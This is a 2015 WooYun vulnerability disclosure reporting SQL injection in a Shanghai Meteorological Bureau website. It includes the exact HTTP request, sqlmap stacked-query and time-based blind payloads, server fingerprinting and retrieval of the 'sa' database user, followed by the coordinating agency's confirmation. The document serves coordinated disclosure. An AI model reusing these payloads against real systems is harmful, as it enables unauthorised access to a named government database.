当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098550

漏洞标题:某气象局mssql注射

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-02-28 16:19

修复时间:2015-04-14 16:20

公开时间:2015-04-14 16:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-28: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商已经确认,细节仅向厂商公开
2015-03-14: 细节向核心白帽子及相关领域专家公开
2015-03-24: 细节向普通白帽子公开
2015-04-03: 细节向实习白帽子公开
2015-04-14: 细节向公众公开

简要描述:

详细说明:

上海市气象局 smb.gov.cn
InfoGuid 和CategoryID 都存在注入

GET /Handler/InformationViewCount.ashx?action=update&InfoGuid=00533280-0761-4c28-bdb1-205f5381a2c2&CategoryID=8de94fa7-77a5-42de-a406-d1b51127c4ce HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Accept: */*
Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5
Referer: http://smb.gov.cn/html/qxxw/qxyw/infodetail-00533280-0761-4c28-bdb1-205f5381a2c2.html
Cache-Control: no-cache
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
Host: smb.gov.cn
Accept-Encoding: gzip, deflate


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: CategoryID
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: action=update&InfoGuid=00533280-0761-4c28-bdb1-205f5381a2c2&Categor
yID=8de94fa7-77a5-42de-a406-d1b51127c4ce'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: action=update&InfoGuid=00533280-0761-4c28-bdb1-205f5381a2c2&Categor
yID=8de94fa7-77a5-42de-a406-d1b51127c4ce' WAITFOR DELAY '0:0:5'--
---
[13:17:17] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[13:17:17] [INFO] fetching database users
[13:17:17] [INFO] fetching number of database users
[13:17:17] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[13:17:17] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] Y
[13:17:35] [INFO] adjusting time delay to 1 second due to good response times
3
[13:17:35] [INFO] retrieved: sa

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-04 14:56

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给分中心,由其后续协调网站管理单位处置。

最新状态:

暂无